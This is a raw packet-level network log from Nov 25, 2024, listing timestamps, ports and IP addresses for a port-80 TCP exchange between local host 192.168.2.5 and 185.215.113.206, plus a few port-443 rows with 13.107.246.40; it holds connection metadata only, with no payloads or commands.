Nov 25, 2024 18:28:42.672072887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.672672033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.672822952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.673229933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.673279047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.673361063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.673512936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.673552036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.674246073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.674258947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.674307108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.675127983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.675189018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.675297976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.675945997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.676031113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.676188946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.676194906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.676611900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.676956892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.676969051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.677022934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.677828074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.677876949 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.677937984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.677980900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.678724051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.678791046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.678875923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.678920984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.679653883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.679709911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.679907084 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.680075884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.680636883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.680723906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.680821896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.681479931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.681492090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.681523085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.681545019 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.682356119 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.682408094 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.682501078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.682869911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.683418036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.683604002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.683674097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.684175968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.684233904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.684267998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.684314966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.685138941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.685208082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.685642958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.685698986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.685967922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.686012983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.686495066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.686682940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.686860085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.686907053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.687344074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.687390089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.687809944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.687855959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.688626051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.688673973 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.688731909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.688743114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.688771963 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.688782930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.689578056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.689625978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.689960957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.690009117 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.690504074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.690550089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.690680981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.690725088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.691391945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.691437006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.691468954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.691533089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.692390919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.692437887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.692487001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.692533016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.693188906 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.693233013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.694017887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.694061995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.694102049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.694113016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.694149971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.695041895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.695780039 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.695827007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.695905924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.695970058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.696017027 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.696119070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.696763992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.696810007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.697169065 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.697796106 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.697863102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.697875023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.697885036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.697902918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.698808908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.698905945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.699553967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.699606895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.699768066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.699780941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.699815035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.699841022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.737349987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.737431049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.737579107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.737588882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.737627029 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.737628937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.737991095 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.738435984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.738477945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.738699913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.738759041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.739367008 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.739418983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.739738941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.739800930 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.740216970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.740443945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.740592003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.740638018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.741175890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.741189003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.741247892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.742023945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.742073059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.742580891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.742883921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.742958069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.800048113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.800163031 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.800172091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.800276041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.800348043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.800390959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.800564051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.801029921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.801083088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.801177025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.801289082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.801338911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.801970005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.802026033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.802195072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.802376032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.802865982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.802932024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.802994013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.803764105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.803812027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.803822041 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.803874016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.804733038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.804792881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.804938078 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.805201054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.805588007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.805684090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.805747986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.806493044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.806524992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.806566000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.806583881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.807365894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.807427883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.807563066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.807610035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.808326006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.808485031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.808540106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.809236050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.809298992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.809655905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.809709072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.810070992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.810178995 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.810234070 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.810750008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.810971975 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.811181068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.872608900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.872626066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.872695923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.872699976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.872742891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.872920036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.872965097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.873424053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.873481989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.873517036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.874116898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.874309063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.874357939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.874439001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.874485016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.875231981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.875289917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.875379086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.875426054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.876360893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.876471043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.876518011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.877132893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.877444983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.877500057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.877897978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.877947092 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.877991915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.878995895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.879050970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.879096985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.879323006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.879789114 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.879841089 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.879952908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.880001068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.880795956 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.881150007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.881228924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.881531954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.881803036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.881851912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.881869078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.882424116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.883347988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.883364916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.883413076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.883430958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.883625984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.883677959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.884238005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.884500980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.885162115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.885174990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.885186911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.885238886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.886023998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.886087894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.886389017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.886441946 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.886996031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.887046099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.887412071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.887767076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.887975931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.887989044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.888025045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.888042927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.888730049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.888777018 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.889633894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.889686108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.889731884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.889744043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.889777899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.890580893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.890985966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.891053915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.891470909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.891735077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.891777039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.892010927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.892383099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.892395020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.892436981 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.892448902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.893404007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.893475056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.893572092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.893807888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.894278049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.894406080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.894484043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.894522905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.895071983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.895144939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.895334959 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.895386934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.895948887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.896008015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.896142960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.896559000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.896883011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.896941900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.897000074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.897775888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.897877932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.898163080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.898211956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.898677111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.899051905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.899127960 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.899348021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.899876118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.899930954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.900242090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.900680065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.900741100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.902034044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.902092934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.902100086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.902314901 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.920808077 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.921175957 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.921199083 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.924675941 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.924743891 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.925235033 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.925297976 CET	443	49839	13.107.246.40	192.168.2.5
Nov 25, 2024 18:28:42.925694942 CET	49839	443	192.168.2.5	13.107.246.40
Nov 25, 2024 18:28:42.938967943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.939047098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.939188004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.939352989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.939368010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.939414978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.939434052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.940284014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.940412045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.940476894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.940521002 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.941119909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:42.941185951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:42.941272020 CET	80	49761	185.215.113.206	192.168.2.5
